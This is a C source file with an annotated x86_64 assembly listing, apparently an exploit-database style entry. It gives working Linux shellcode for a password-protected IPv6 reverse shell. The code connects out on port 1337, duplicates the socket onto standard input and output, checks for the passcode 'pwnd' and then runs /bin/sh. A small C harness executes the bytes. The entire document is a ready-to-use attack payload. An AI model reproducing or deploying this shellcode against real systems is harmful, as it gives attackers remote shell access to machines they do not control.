/*
; Title   : Reverse Shell (IPv6) with Password - Shellcode
; Author  : Hashim Jawad @ihack4falafel
; OS      : Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux
; Arch    : x86_64
; Size    : 115 bytes

section .text

global _start

_start:

  ; int socket(int domain, int type, int protocol)
  ; rax=41, rdi=10, rsi=1, rdx=0
  xor esi,esi
  mul esi                
  inc esi
  push 10 
  pop rdi
  add al, 41
  syscall

  ; save socket fd in rdi
  xchg rbx,rax

  ; struct sockaddr_in6 struct
  push rdx      ; scope id = 0
  mov rcx,0xFEFFFFFFFFFFFFFF      ; link local address ::1
  not rcx
  push rcx
  push rdx
  push rdx                        ; sin6_flowinfo=0
  push word 0x3905    ; port 1337
  push word 10         ; sin6_family

  ; int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen)
  ; rax=42, rdi=rbx(fd), rsi=sockaddr_inet6, rdx=28 (length)
  push   rbx
  pop   rdi
  push   rsp
  pop   rsi
  push   28
  pop   rdx
  push   42
  pop   rax
  syscall

  ; dup2 (new, old)
  ; rax=33, rdi=new fd, rsi=0,1,2 (stdin, stdout, stderr)
  xchg   rsi, rax
  push 0x3
  pop rsi
_loop:
  push 0x21
  pop rax
  dec esi
  syscall
  loopnz _loop

  ; read (int fd, void *bf, size_t count)
  ; rax=0, rdi=0 (stdin), rsi=rsp, rdx=4 (pwnd)
  xor rax, rax
  push rax
  pop rdi
  push rax
  push rsp
  pop rsi
  push 0x4
  pop rdx
  syscall

  ; check passcode (pwnd)
  push 0x646e7770
  pop rbx
  cmp dword [rsi], ebx
  jne _nop

  ; int execve(cont char *filename, char *const argv[], char *const envp[])
  ; rax=59, rdi=/bin//sh, rsi=0, rdx=0
  xor rax, rax
  push rax
  mov rbx, 0x68732f2f6e69622f
  push rbx
  push rsp
  pop rdi
  push rax
  push rsp
  pop rsi
  cdq
  push 0x3b
  pop rax
  syscall

_nop:
  nop
*/

#include<stdio.h>
#include<string.h>
 
 
unsigned char code[] = \
"\x31\xf6\xf7\xe6\xff\xc6\x6a\x0a\x5f\x04\x29\x0f\x05\x48\x93\x52\x48\xb9\xff\xff\xff\xff\xff\xff\xff\xfe\x48\xf7\xd1\x51\x52\x52\x66\x68\x05\x39\x66\x6a\x0a\x53\x5f\x54\x5e\x6a\x1c\x5a\x6a\x2a\x58\x0f\x05\x48\x96\x6a\x03\x5e\x6a\x21\x58\xff\xce\x0f\x05\xe0\xf7\x48\x31\xc0\x50\x5f\x50\x54\x5e\x6a\x04\x5a\x0f\x05\x68\x70\x77\x6e\x64\x5b\x39\x1e\x75\x1a\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x50\x54\x5e\x99\x6a\x3b\x58\x0f\x05\x90";

main()
{
 
printf("Shellcode Length:  %d\n", (int)strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}